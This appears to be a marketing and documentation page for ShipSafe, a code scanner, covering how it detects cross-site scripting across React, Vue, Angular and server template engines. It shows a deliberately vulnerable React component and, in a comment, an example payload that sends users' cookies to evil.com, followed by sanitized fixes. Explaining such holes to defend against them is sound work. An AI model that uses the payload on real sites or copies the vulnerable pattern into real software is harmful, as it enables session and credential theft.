Cross-Site Scripting (XSS) Detection — ShipSafe
ShipSafe ships 143 XSS rules covering React, Vue, Angular, Express, and six server-side template engines. It understands framework-specific escape contexts — so it knows React auto-escapes JSX text but not dangerouslySetInnerHTML, and that Vue's v-html bypasses its template compiler's built-in escaping.
What is XSS?
Cross-Site Scripting (XSS) occurs when an application includes untrusted data in web pages without proper validation or escaping. Attackers can execute malicious scripts in victims' browsers, stealing cookies, session tokens, or redirecting users to malicious sites. XSS is one of the most prevalent web vulnerabilities.
Why It Matters
XSS is deceptively dangerous because it runs in the user's browser with the full authority of your application. An attacker can steal session cookies (bypassing httpOnly with creative payloads), redirect users to phishing pages, modify the rendered page to capture credentials, or use the compromised session to perform actions as the victim. In modern single-page applications, XSS can give persistent access to the entire client-side state, including auth tokens stored in memory.
What ShipSafe Detects
- ✓Reflected XSS where user input from query params or request body is echoed directly in HTTP responses
- ✓Stored XSS where user-submitted content from a database is rendered without escaping
- ✓DOM-based XSS through innerHTML, document.write, outerHTML, and eval with user input
- ✓React dangerouslySetInnerHTML with unsanitized content — the most common XSS in React apps
- ✓Vue v-html directive with user-controlled data
- ✓Angular [innerHTML] binding and bypassSecurityTrustHtml/bypassSecurityTrustScript misuse
- ✓Template injection in Handlebars ({{{unescaped}}}), EJS (<%- unescaped %>), Pug (!{unescaped}), and Nunjucks ({{ content | safe }})
- ✓Missing Content-Security-Policy headers on Express and Next.js apps
Example: Vulnerable Code
Vulnerable React component with XSS via dangerouslySetInnerHTML
// Vulnerable: user input in dangerouslySetInnerHTML
function Comment({ content }: { content: string }) {
return (
<div
dangerouslySetInnerHTML={{ __html: content }}
/>
);
}
// An attacker submits as their comment:
// <img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">
// Every user who views this comment has their cookies stolen.ShipSafe Catches It
$ shipsafe scan CRITICAL xss/dangerous-set-inner-html src/components/Comment.tsx:4 dangerouslySetInnerHTML used with unsanitized content prop. Fix: Sanitize HTML with DOMPurify before rendering — DOMPurify.sanitize(content)
What to Do Instead
Safe alternatives: DOMPurify sanitization or avoiding raw HTML entirely
// SAFE: sanitize HTML before rendering
import DOMPurify from "dompurify";
function Comment({ content }: { content: string }) {
return (
<div
dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br"],
ALLOWED_ATTR: ["href"],
}),
}}
/>
);
}
// EVEN SAFER: avoid dangerouslySetInnerHTML entirely
// Parse markdown to React elements with react-markdown
import ReactMarkdown from "react-markdown";
function Comment({ content }: { content: string }) {
return <ReactMarkdown>{content}</ReactMarkdown>;
}Frequently Asked Questions
Does ShipSafe detect XSS in React?
Yes. React auto-escapes JSX text content, but dangerouslySetInnerHTML bypasses this protection. ShipSafe has specific rules for dangerouslySetInnerHTML with unsanitized props, href='javascript:' URLs in JSX, and user-controlled React ref assignments.
Does ShipSafe detect DOM-based XSS?
Yes. ShipSafe detects innerHTML, outerHTML, document.write, and eval when they contain user-controlled data from sources like location.hash, location.search, document.referrer, and window.name.
Does ShipSafe detect missing Content-Security-Policy?
Yes. ShipSafe flags Express and Next.js apps that serve HTML responses without a Content-Security-Policy header. CSP is a critical defense-in-depth measure that limits the damage of any XSS that bypasses other protections.
What about server-side template injection?
ShipSafe detects unescaped output in Handlebars ({{{triple braces}}}), EJS (<%- minus tag %>), Pug (!{exclamation syntax}), and Nunjucks (safe filter). These are common in Express apps and are frequently missed by React-focused developers.
Detect XSS in Your Code
Install ShipSafe and scan your project in under 60 seconds.
npm install -g @shipsafe/cli